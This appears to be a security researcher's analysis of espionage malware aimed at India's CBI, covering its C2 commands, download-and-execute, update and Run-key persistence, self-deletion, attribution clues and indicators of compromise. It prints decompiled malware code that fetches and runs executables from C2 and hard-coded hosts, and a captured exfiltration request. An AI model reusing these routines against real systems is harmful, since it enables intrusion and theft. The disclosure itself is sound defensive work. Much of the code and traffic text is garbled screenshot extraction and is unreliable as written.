POST	//northe	rnligh	its//JobProcesses.php	HTTP/1.1			
Host	nt-Type:	appul	cation/x-www-rorm-ur	lencoded			
Conte	nt-Lenat	10.00	29				
Expec	t: 100-c	ontinu	ue	-			
Conne	ction: K	eep-Al	live	-			
_		-					
Proce	ss0=svch	ost.ex	ce&Process1=svchost.ex	ke&Process2=svchost.exe&Process3=svch	host.exe	&Process4=spool	sv.exe&Process5=msd
c.exe	&Processe Device of	D=VMCO	olsd.exe&Process/=tas	khost.exe&Process8=svchost.exe&Proce	ess9=con	host.exeMproces	s10=dwm.exe&Process
1=Will	el6=vmto	aled	Process17=smss_ex	Searrocess13=rrocessnacker.exearroce	est evel	Process20=d11ho	essis=wintogon.exea
rchIn	dexer.ex	-&Proc	cess22=SOLite.exe&Pro	cess23=svchost.exe&Process24=TPAutoCo	onnSvc.e	exe&Process25=VG	AuthService.exe&Pro
ess26	=wmpnetwl	k.exe8	Process27=1sm.exe&Pro	cess28=IpOverUsbSvc.exe&Process29=sv	vchost.e	exe&Process30=no	tepad%2b%
2b.ex	e&Process	s31=ls	sass.exe&Process32=vm/	acthlp.exe&Process33=dnSpy.exe&Proces	ss34=win	init.exe&Proces	s35=svchost.exe&Pro
ess36	=service:	s.exe8	Process37=csrss.exe&	rocess38=svchost.exe&Process39=taskh	host.exe	&Process40=Syst	em.exe&Process41=Id
e.exe	&USERNAM	E=Wind	lows+User_WIN-T9UN4HI7	IHEC_sqlite_1570Ver%3a3.0.0.0&PASSWOR	RD=kHFzg	R70NISJfZNOhhHc	//w%s3d%s3d

Malware Functionalities

Apart from sending the system information and process information to the C2 server, the malware also has the capability to perform various other tasks by taking command from the C2. This section focuses on different functionalities of the malware

a) Download & Execute Functionality 1

Malware triggers the download functionality by connecting to the C2 server and making a request to either *Jobwork1.php* or *Jobwork2.php*, if the C2 response satisfies the condition then it downloads & executes the file. After understanding the logic (logic is mentioned below) & to satisfy the condition the environment was configured to give proper response whenever the malware made a request to *Jobwork1.php* or *Jobwork2.php*. Below screen shot shows the response given to the malware.



Malware then reads the response successfully as shown in the below screen shot.

131	<pre>Uri address = new Uri(string.Concat(new string[]</pre>							
132								
133	"http://",							
134	Variables.normhours.							
135	"//",							
136	Variables. DirnamesList.							
137	"//",							
138	pagename							
139	<pre>}) ?? "");</pre>							
140	Variables.formData["USERNAME"] = Variables.ISQLMANAGER_UserNa	me;						
141	Variables.formData["PASSWORD"] = Variables.ISQLMANAGER_Passwo	nd;						
142	<pre>byte[] bytes = new WebClient().UploadValues(address, "POST",</pre>	Variables.formData);						
143	result = Encoding.ASCII.GetString(bytes);							
144								
145	catch (Exception)							
146								
147								
148	return result;							
149								
150								
151	// Token: 0x0400000A RID: 10							
	Value	Type						
pagename	"JobWork1.php"							
result	"abcedfghijklmnhttp://c2xy.com/a.exeopqclientpermissionrstpendingv/n"							
address	(http://qhavcloud.com//northernlights//JobWork1.php)	System.Uri						

from the C2 response it extracts two things *a*) URL to download an executable file and *b*) the command string that will trigger the download functionality

From the C2 response the URL is extracted starting from offset 14 (i.e 15th character) and it determines the length of the string (URL) to extract by finding the start offset of the string *"clientpermission"* once it finds it, its offset value is subtracted with 17.

The command string to trigger the download functionality is extracted from the C2 response using the logic shown below. Below screen shot shows the logic used to extract the URL and the command strings, in the below screen shot the extracted command string is stored in the variable *ServerTask1Permission*.



Once the URL and command string is extracted, the malware compares the command string with the string *"Pending"*, only if the command string matches with string *"Pending"* the download functionality is triggered.



When all the above mentioned conditions are satisfied the malware downloads the executable from the URL extracted from the C2 response. Below screen shot shows the URL extracted from the C2 response.

Note: In the below screen shot the URL (hxxp://c2xy.com/a.exe) is not the actual URL used by the malware for downloading the file, this is a test URL used to determine the functionality, so this URL should not used as an indicator.

	11	public DownloadingD	ownloadJobs1(string url, string status)		
•	12	U			
	13	try			
	14	{			
		if (url !=	null && status "pending")		
	16				
		string	fileName = Path.GetFileName(url);		
		Variabl	es.ServerTask1filename = fileName;		
	19	new Web	Client(), DownloadFile(url, string, Concat(new s	tring[]	
		(errene() is an interest and a set rug is an end of the	C. SUBLI	
	21	Van	ishles filenath		
	22		-		
		Van	jahlas value		
			"		
		611	, oliomo		
		111	ewame		
	20	, ,,,,,			
	28				
		catch (Exceptio			
		catch (Exceptio	"'		
125 %					
Locals					
Name	e		alue	Type	
Þ 🥹	this	(L)	SqlManager.Global.Downloader.DownloadingDownloadJobs1)	ISqlManager.Global.Downloader.D	
	url		ittp://c2xy.com/a.exe"		
÷	status	1	ending"		
-					

Below screen shot shows the network traffic of malware trying to download the executable file from the extracted URL.

F 01000000	0010C120101142100			ISTITUTIET TO AL OFICILITATION
30.000124	192.168.1.60	192.168.1.22	DNS	Standard query A c2xy.com 🗲 🗕
40.007222	192.168.1.22	192.168.1.60	DNS	Standard query response A 192.168.1.22
50.033744	192.168.1.60	192.168.1.22	TCP	49182 > 80 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=:
60.033822	192.168.1.22	192.168.1.60	TCP	80 > 49182 [SYN, ACK] Seq=0 Ack=1 Win=14600 Len=0
70.033945	192.168.1.60	192.168.1.22	TCP	49182 > 80 [ACK] Seq=1 Ack=1 Win=65536 Len=0
80.034154	192.168.1.60	192.168.1.22	HTTP	GET /a.exe HTTP/1.1
90.034160	192.168.1.22	192.168.1.60	TCP	80 > 49182 [ACK] Seq=1 Ack=64 Win=14608 Len=0
10.0 055030	100 100 1 00	100 100 1 00	TOD	FT60 1 F 13 1 0003

2 Follow TCP Stream
GET /a.exe HTTP/1.1 Host: c2xy.com Connection: Keep-Alive
HTTP/1.1 200 OK Server: INetSim HTTP Server Connection: Close Content-Length: 24576 Content-Type: x-msdos-program Date: Tue, 26 Jul 2016 23:05:23 GMT
MZ
γ γ

The downloaded executable is saved in the %AppData%\SQLite directory as shown in the below screen shot.

😋 😋 🛛 🗼 🕨 Compute	rr ♦ Local Disk (C) ♦ Users ♦ test ♦ App	Outa + Roaming + SQLite +			• 4 Search SQLite P
Organize • Include	in library • Share with • Burn	New folder			11 · 🖬 🛛
🜟 Favorites	Name	Date modified	Туре	Size	
E Desktop	SQLITE.aml	4/16/2017 5:55 PM	XML Document	1 KB	
Downloads	SQLite.exe	4/8/2017 10:59 PM	Application	33 KB	
S Recent Places	💷 a.exe 룾	4/19/2017 7:08 PM	Application	24 KB	
	L ErrorLog(042017)	4/13/2017 8:57 PM	File folder		

The downloaded file is then executed by the malware as shown in the below screen shot.

109	public static void Executing(string filename)	the second states and the second second	
110	{		
111	try		
112			
113	Process.Start(string.Concat(new string[]		
114			
115	Variables.filepath,		
110	Vaniables value		
118	variables.value,		
119	filename		
120	}));		
121)		
122	catch (Exception)		
123	성수 하에 모두는 것도 같은 눈도 눈도 가지 않는 것을 만들어 있는 것이 많이		
124			
126			
127	// Token: 0x040000B0 RID: 176		
25 % -			
ocals			
Name	Value	Type	
mename	0.838	sung	

Once the downloaded file is executed the malware reports that the download & execute was successful by making a POST request to *JobDone.php* as shown in the below screen shots



This functionality allows the attacker to change their hosting site (from where the malware will be downloaded), this can be achieved by changing the C2 response containing different URL.

b) Download & Execute Functionality 2

Malware also supports second type of download functionality,instead of extracting the URL from the C2 response and downloading the executable, it gets executable content from the networks stream from a hard coded IP address and then writes it to the disk and executes it.

This functionality is triggered by making a request to either *JobTcp1.php* or *JobTcp2.php*, if the C2 response satisfies the condition then it gets the executable content from a hard coded IP address. After understanding the logic & to satisfy the condition the environment was configured to give proper response when the malware made a request to *JobTcp1.php* or *JobTcp2.php*. Below screen shot shows the response given to the malware.



Malware then reads the c2 response and from the C2 response it extracts two things *a*) filename and *b*) the command string that will trigger the download functionality.

From the C2 response the filename is extracted starting from offset 14 (i.e 15th character) and it determines the length of the string to extract by finding the start offset of the string *"clientpermission"* once it finds it, its offset value is subtracted with 17. The command string to trigger the download functionality is extracted from the C2 response using the logic shown below. Below screen shot shows the logic used to extract the filename and the command string, in the below screen shot the extracted command string is stored in the variable *ServerTask1Permission*.

79	public static void Brea	kJsonByCustomTCP1(string breakstring)	
81 82	try		
• 83	Variables.Serve	rTCP1URL = breakstring.Substring(14, bro	<pre>eakstring.IndexOf("clientpermission") - 17).Replace("\\",</pre>
84	Variables.Serve breakstring.L	rTCP1Permission = breakstring.Substring ength - breakstring.IndexOf("clientperm:	<pre>(breakstring.IndexOf("clientpermission") + 19, ission") - 21);</pre>
85			
86	catch (Exception)		
87	0		Logic used to extract command string from
88	Variables.Serve	rTCP1URL = "";	
89	Variables.Serve	rTCP1Permission = "";	
90			
91)		
92			2002200
95	// Token: 0x0600065 KI	D: 101 KVA: 0X00004690 File UTTSet: 0X0	002890
94	public static void Brea	KJSONBYCUSTOWICP2(string breakstring)	
92			
96	try		
97			
125 % -			
.ocals			
Name		Value	Typ)
e breakstring			
-			

Once the filename and command string is extracted, the malware compares the command string with the string *"Pending"*, if the command string matches with string *"Pending"* then the extracted filename (in this case the extracted filename is *"testfile"*) from the C2 response is concatenated with *".exe"* as shown below.

<pre>JobWork.Executing(Variables.ServerTask2filename); Client.SendServerRequest("JobDone1.php");</pre>
<pre>JobWork.BreakJsonByCustomTCP1(Client.GetJobRequest("JobTCP1.php")); if (Variables.ServerTCP1Permission == "pending")</pre>
<pre>{ string expr_C0 = Path.GetFileName(Variables.ServerTCP1URL, Variables.ServerTCP1filename = expr_C0 + ".exe"; JobWork.dg = new DingDong1(expr_C0); </pre>
<pre>JobWork.Executing(Variables.ServerTCP1filename); Client.SendServerRequest("JobDoneTCP1.php");</pre>
<pre>} JobWork.BreakJsonByCustomTCP2(Client.GetJobRequest("JobTCP2.php")); if (Variables.ServerTCP2Permission == "pending") {</pre>
<pre>string expr_118 = Path.GetFileName(Variables.ServerTCP2URL); Variables.ServerTCP2filename = expr_118 + ".exe"; JobWork.dg = new DingDong1(expr_118); JobWork.Executing(Variables.ServerTCP2filename);</pre>



It then connects to the hard coded IP 91[.]205[.]173[.]3 on port 6134, and it sends the concatenated filename (*testfile.exe*) as shown below.

18	private void iryid	Connect(string filen	am)	وحجا الأكاري حجاكا لرحما	
19					
20	try				
21					
22 1	TcpClient	tcpClient = new TcpC	lient();		
23	Console.W	iteLine("Connecting.	");		
24	tcpClient	Connect("91.205.173.	3", 6134);		
25	Stream str	eam = tcnClient Gets	tream():		
26	bute[] and	au - neu hute[1024].	cream();		
26	byte[] arr	ay = new byte[1024];			
27	byte[] byt	es = new ASCIIEncodi	ng().GetByte	es(filenam);	
28	stream.Wr	te(bytes, 0, bytes.L	ength);		
29	NetworkStr	ream stream2 = tcpCli	ent.GetStrea	am();	
30	string tex	<pre>ct = string.Empty;</pre>			
31	text = str	ing.Concat(new strin	g[]		
32	{				
33		onment.GetFolderPath(.SpecialFolder.Applic	ationData),
34	"\\",				
35	Variat	les.value,			
36	"\\",				
37	filen	ım,			
38	".exe				
39	1);				
5.96 -					
cals					
lame		Value			Туре
🤗 this		(ISqlManager.Glob	al.DingDong1		1SqlManager.Global.DingDong1
filenam		"testfile"			
tcoClient		null			System Net Sockets TcoClient
No. Tree	102 169 1 60	01 205 172 2	Protocol	40190 > 6124 [67]	1 Com-0 Win-9102 Lon-0 MCC-1460 WC
0/ 5003. //4/00	192.100.1.00	91.205.175.5	TCP	49109 > 0134 [31	1 Seq=0 WIN=8192 Len=0 MSS=14600 WS
88 5883.774822	91.205.1/3.3	192.168.1.60	TCP	6134 > 49189 [51	(, ACK) Seq=0 ACK=1 Win=14600 Len=0
89 5883.774957	192.168.1.60	91.205.1/3.3	TCP	49189 > 6134 [AC	[] Seq=1 Ack=1 Win=65536 Len=0
90 5888.777286	91.205.173.3	192.168.1.60	TCP	6134 > 49189 [PS	I, ACK] Seq=1 Ack=1 Win=14608 Len=3
93 5888.977553	192.168.1.60	91.205	Palloar TCP	p tream	eq=1 Ack=32 Win=65536 Len=0
98 6008.779679	91.205.173.3	192.16 testfile	_		CK] Seq=32 Ack=1 Win=14608 Len=
01 6008.780522	192.168.1.60	91.205			eq=1 Ack=33 Win=65536 Len=0
33 6338.944112	192.168.1.60	91.205			CK] Seq=1 Ack=33 Win=65536 Len=
34 6338.944139	91.205.173.3	192.16			eq=33 Win=0 Len=0

The IP address after verifying the filename then returns the executable content which malware reads directly from the network stream and writes to the disk in the *%Appdata%\SQLIte* directory as shown below.



😋 😋 🔸 🕨 Compute	r ♦ Local Disk (C) ♦ Users ♦ test ♦ A	ppData + Roaming + SQLite +			• 4
Organize • Include	in library • Share with • Burn	New folder			
🚖 Favorites	Name	Date modified	Туре	Size	
E Desktop	📧 testfile.exe	7/27/2016 4:51 AM	Application	24 KB	
la Downloads	SQLITE.xml	4/16/2017 5:55 PM	XML Document	1 KB	
Sk Recent Places	SQLite.exe	4/8/2017 10:59 PM	Application	33 KB	

The dropped file is then executed as shown in the below screen shot.

100	and the static used for a big of the state o	
109	public static void Executing(string filename)	
110		
111	try	
112	{	
113	<pre>Process.Start(string.Concat(new string[]</pre>	
114		
115	Variables.filepath,	
116	"\\".	
117	Variables.value,	
118	"\\",	
119	filename	
120		
121		
122	catch (Exception)	
123		
124	그 것 수 있다. 그는 것 같은 것 같	
125	R .	
126		
127	// Token: 0x040000B0 RID: 176	
100	public static DownloadingDownloadlobel du	
96 -		
-t-		
315		
me	Yalue 🖊	Туре
filename	"testfile.exe"	

c) Update Functionality

Malware has the capability to update itself this is done by making a request to *updateproductdownload.php*, if C2 response satisfies the condition then it downloads the updated executable from an URL. After understanding the logic & to satisfy the condition the environment was configured to give proper response. Below screen shot shows the response given to the malware when it makes a request to *updateproductdownload.php*



Malware then reads the c2 response and from the C2 response it extracts two things a) URL to download the updated executable and b) the command string that will trigger the update functionality

From the C2 response the URL is extracted by finding the start offset of the string *"updatetpermission"* once it finds it, its offset value is subtracted with 17 to get the URL from where the updated executable will be downloaded. To get the command string malware extracts the string starting from the offset of the string *"updatetpermission"* + 19 and extracts a 7 character length string which it uses as the command string.

Below screen shot shows the logic used to extract the URL and the command string, in the below screen shot the extracted command string is stored in the variable *ServerUpdatePermissionInstruction*.



Once the URL and command string is extracted, the malware compares the command string with the string *"Pending"*, only if the command string matches with string *"Pending"* then the malware downloads the updated executable from the extracted URL. Below screen shot shows the code which performs the check and and extracted URL

Note: In the below screen shot the URL (hxxp://c2xyup.com/update.exe) is not the actual URL used by the malware for updating, this is a test URL used to determine the functionality, so this URL should not used as an indicator.

	11	public DownloadingUpdate(string path)				
•						
	13	try				
		if (Variables.ServerUpadteProductUrl != null && Variables.ServerUpdatePermissionInstruction == "pending")				
		<pre>string fileName = Path.GetFileName(path);</pre>				
	18	new WebClient(),DownloadFile(path, string,Concat(new string[]				
		Variables.filepath.				
	21	·*//*				
		Variables.value,				
		"\\",				
		fileName				
		<pre>});</pre>				
	27					
		catch (Exception)				
	29					
125 5	96 -	2. 이상 전체에서 2. 이상 전 2. 이상 전에서 전 것이 있는 것은 것은 것은 것은 것이 있는 것이 있는 것이 있는 것은 것이 있는 것이 있는 것이 있다. 이상 것이 있는 것이 있는 것이 있는 것				
Local						
Nam	na	Value Type				
Þ	this	ISglManager.Global.Downloader.DownloadingUpdatel SglManager.Global.Downloader.D.,				
•	path	"http://c2xyup.com/update.exe" string				
	fileName	nul string				
		그는 것 같은 것 같				

The malware then downloads the updated executable and drops it in the *%Appdata%\SQLite* directory as shown in the below screen shots.



Once it downloads the updated executable then the malware creates a value in the *Run* registry key for persistence, before that it deletes the old entry and adds the new entry so that next time when the system starts the updated executable will run. Below screen shots show the registry entry added by the malware.





The functionality allows the attacker to update their malware components.

d) Delete/Uninstall Functionality

Malware also has the capability to delete itself this is done by making a request to *Uninstaller.php*. Below screen shot shows the code that makes this request.



The environment was configured to give a proper response to trigger the uninstall/delete functionality. Below screen shot shows the network traffic making the POST request to *Uninstaller.php* and the returned response.



Malware then checks if the C2 response contains the string *"delete"*. Below screen shots show the code that reads the C2 response and the code that performs the check.

Þ	bytes	byte[0x0000020]	byte[]					
Ļ.	address	intp://gnavdoud.com//northernights//Uninstaller.php)	System.Uri					
	result	"abcedfabildenndeleterstydreftedte"	string					
Nat		"Think the pho"	Type					
Loc	als.	Received C2 resp						
125	16							
105	- 107	INTEREST AND A PARTICIPACITY						
		// Token: 0x0600003C RID: 60 RVA: 0x000037E4 File Offset: 0x000019E4						
	105	2						
7	103	return result;						
	102							
	101	result = "";						
	100							
		catch (Exception)						
		result = Encoding.ASCII.GetString(bytes);						
		<pre>byte[] bytes = arg_84_0.UploadValues(address, "POST", Variab)</pre>	les.formData);					
		<pre>Variables.formData["ReportOk"] = "DagaDaRora";</pre>						
		Variables.formData["USERNAME"] = Variables.ISOLMANAGER UserName;						
		WebClient arg_84_0 = new WebClient();						
	92	}) ?? "");						
	91	nagename						
	89	VariablesDirnamesList,						
	87	Variables.normhours,						
		"http://",						

public Uninstaller()	
<pre>string text = Uninstaller.GetDeleteRequest("Uninstaller.php");</pre>	
<pre>text = this.BreakJsonByCustomTask1(text);</pre>	
if (text == "delete") <	
<pre>{ Uninstaller.DeleteREG(); Uninstaller.Deleted("Deleted.php");</pre>	
try	

If the C2 response contains the string "delete", then the malware first deletes the entry from the *Run* registry that the malware uses for persistence as shown below.

122	RegistryKey re	gistryKey = Registry.CurrentUser.OpenSubKey(Variabl	es.key, true);
123	object value =	registryKey.GetValue(Variables.value);	
124	string fileNam	<pre>e = Path.GetFileName(Application.ExecutablePath);</pre>	
125	string.Concat(new string[]	
126	{	011	
127	Variables.	filepath.	
128 00000	-\\\".		
129	Variables	value.	
138	-\\".		
131	fileName		
132			
133	if (value != n	ull)	
134	{		
135	registryKe	y.DeleteValue(Variables.value);	
136)		
137			
138	catch (Exception)		
139			
1/10			
ocals			
Name	W	ika	Type
🤗 text	°C	\\Users\\test\\AppData\\Local\\Temp\\IsjTJ9elyeEe.bat"	
🔮 registryKey	0H	KEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run}	Microsoft/Win32.RegistryKey Micr
🤗 value		\\Users\\test\\AppData\\Roaming\\SQUte\\update.exe*	
fileName		QUite.exe"	

After deleting the registry entry, malware deletes all the files from the *%Appdata%\SQLite* directory by creating a batch script. The batch script pings a hard coded IP address *180[.]92[.]154[.]176* 10 times (this is a technique used to sleep for 10 seconds) before deleting all the files.



Once the all the files are deleted the malware kills its own process as shown in the below screen shot.



This functionality allows the attackers to delete their footprints on the system.

C2 Information

This section contains the details of the C2 domain *qhavcloud[.]com*. This C2 domain was associated with two IP addresses. Both of these IP addresses is associated with hosting provider in Germany as shown in the screen shots below.



The hard coded IP address 91[.]205[.]173[.]3 in the binary from where the malware downloads additional components is also associated with the same hosting provider in Germany as shown below.

IP Address	сс	ASN	BGP Prefix	AS Name
91.205.173.3	DE	51167	91.205.172.0/22	Contabo GmbH

The C2 domain *qhavcloud[.]com* was also found to be associated with multiple malware samples in the past. Below screen shot shows the md5 hashes of the samples that is associated with the C2 domain.



The C2 domain *qhavcloud[.]com* and the hard coded IP address *91[.]205[.]173[.]3* were also found to be associated with another attack campaign which targeted the senior army officers. This suggests that the same espionage group involved in this attack also targeted the senior army officers using a different email theme.

Threat Intelligence

Investigating the domain *idsadesk[.]in* (which was used to send the email by impersonating the identity of *IDSA*) shows that it was created on 20th Feb 2017 (which is the day before the spear-phishing email was sent to the victims). Most of the registrant information seems to be fake and another notable detail that is of interest is the registrant country and country code (+92) of registrant phone number is associated with Pakistan.

Domain Name:IDSADESK.IN 🔶
Created On:20-Feb-2017 06:23:11 UTC
Last Updated On:28-Feb-2017 13:19:10 UTC
Expiration Date:20-Feb-2018 06:23:11 UIC
Sponsoring Registrar:Mitsu Inc (R158-AFIN)
Registrant ID:DI_64593175
Registrant Name:PSingh Mehta
Registrant Organization:N/A
Registrant Street1:R0987 Chano Kiunga NON Road
Registrant Street2:
Registrant Street3:
Registrant City:KOKUNA
Registrant State/Province:Other
Registrant Postal Code:78772
Registrant Country:PK
Registrant Phone:+92.3318768763
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant Email:iasia69@z7az14m.com
Admin ID:DI_64593175
Admin Name:PSingh Mehta
Admin Organization:N/A

Further investigation shows that the same registrant email id was also used to register another similar domain (*idsagroup[.]in*) which also impersonates the identity of *IDSA*. This impersonating domain was also registered on the same day 20th February 2017 and this domain could also be used by the attackers to send out spear-phishing emails to different targets.

Domain Name:IDSAGROUP.IN 🔶
Created On:20-Feb-2017 07:20:45 UTC
Last Updated On:21-Apr-2017 19:22:05 UTC
Expiration Date:20-Feb-2018 07:20:45 UTC
Sponsoring Registrar:Endurance Domains Technology Pvt. Ltd. (R173-AFIN)
Status:CLIENT TRANSFER PROHIBITED
Reason:
Registrant ID:EDT_64592757
Registrant Name:Jose Carter
Registrant Organization:N/A
Registrant Street1:Iu98 Nokuk 827
Registrant Street2:
Registrant Street3:
Registrant City:Quetta
Registrant State/Province:Other
Registrant Postal Code:76276
Registrant Country:PK
Registrant Phone:+92.2334334222
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant Email:iasia69@z7az14m.com
Admin 10:E01_64592/5/



While investigating the malware's uninstall/delete functionality it was determined that malware creates a batch script to delete all its files but before deleting all the files it pings 10 times to an hard coded IP address *180[.]92[.]154[.]176* as shown below.



Investigating this hard coded IP address shows that it is located in Pakistan. The Pakistan connection in the whois information and the hard coded IP address is interesting because the previous two attacks against Indian Ministry of External Affairs and Indian Navy's submarine manufacturer also had a Pakistan connection. Based on just the whois information (which can be faked) and the location of the IP address it is hard to say if the Pakistan espionage group is involved in this attack, but based on the email theme, tactics used to impersonate Indian think tank (IDSA) and the targets chosen that possibility is highly likely. Below screen shot shows the location of the hard coded IP address.



Indicators Of Compromise (IOC)

In this campaign the cyber espionage group targeted Central Bureau of Investigation (CBI) but it is possible that other government entities could also be targeted as part of this attack campaign. The indicators associated with this attack are provided so that the organizations (Government, Public, Private organizations and Defense sectors) can use these indicators to detect, remediate and investigate this attack campaign. Below are the indicators

Dropped Malware Sample:

f8daa49c489f606c87d39a88ab76a1ba

Related Malware Samples:

15588a9ba1c0abefd38ac2594ee5be53 04b4b036a48dc2d2022cc7704f85a560 becc8e77ef003a4c88f7e6348ffd3609 ceeeacbaf38792bcf06022e2b4874782 515dce0ede42052ff3ef664db9873cea 50c1d394bfa187ffd6251df6dd14e939 3bd16cc1d1fea7190c36b3bd10c6810d b6c861556412a15b7979459176b7d82f

Network Indicators Associated with C2:

qhavcloud[.]com 173[.]212[.]194[.]214 173[.]212[.]193[.]53 91[.]205[.]173[.]3 180[.]92[.]154[.]176

Domains Impersonating the Identity of Indian Think Tank (IDSA):

idsadesk[.]in idsagroup[.]in

Email Indicator: iasia69@z7az14m[.]com

C2 Communication Patterns:

hxxp://qhavcloud[.]com//northernlights//PingPong.php hxxp://qhavcloud[.]com//northernlights//postdata.php hxxp://qhavcloud[.]com//northernlights//JobProcesses.php hxxp://qhavcloud[.]com//northernlights//JobWork1.php hxxp://qhavcloud[.]com//northernlights//JobWork2.php hxxp://qhavcloud[.]com//northernlights//JobTCP1.php hxxp://qhavcloud[.]com//northernlights//JobTCP2.php hxxp://qhavcloud[.]com//northernlights//updateproductdownload.php hxxp://qhavcloud[.]com//northernlights//Uninstaller.php

Conclusion

Attackers in this case made every attempt to launch a clever attack campaign by impersonating the identity of highly influential Indian Think tank to target Indian investigative agency and the officials of the Indian army by using an email theme relevant to the targets. The following factors in this cyber attack suggests the possible involvement of Pakistan state sponsored cyber espionage group to spy or to take control of the systems of the officials of Central Bureau of Investigation (CBI) and officials of the Indian Army.

- Use of domain impersonating the identity of highly influential Indian think tank
- Victims/targets chosen (CBI and Army officials)
- Use of Email theme that is of interest to the targets
- · Location of one of the hard coded IP address in the binary
- Use of TTP's (tactics, techniques & procedures) similar to the previous campaigns targeting Indian Ministry of External Affairs and Indian Navy's Warship Manufacturer.
- Use of the same C2 infrastructure that was used to target senior army officers

The attackers in this case used multiple techniques to avoid detection and to frustrate analysts. The following factors reveal the attackers intention to remain stealthy and to gain long-term access by evading analysis and security monitoring at both the desktop and network levels.

- Use of password protected macro to prevent viewing the code and to make manual analysis harder
- Use of TextBox within the UserForm to store malicious content to bypass analysis tools
- Use of legitimate service like Google drive to store the list of back up C2 servers to bypass security monitoring and reputation based devices.
- · Use of malware that performs various checks before performing any malicious activity
- Use of backup C2 servers and hosting sites to keep the operation up and running
- Use of hosting provider to host C2 infrastructure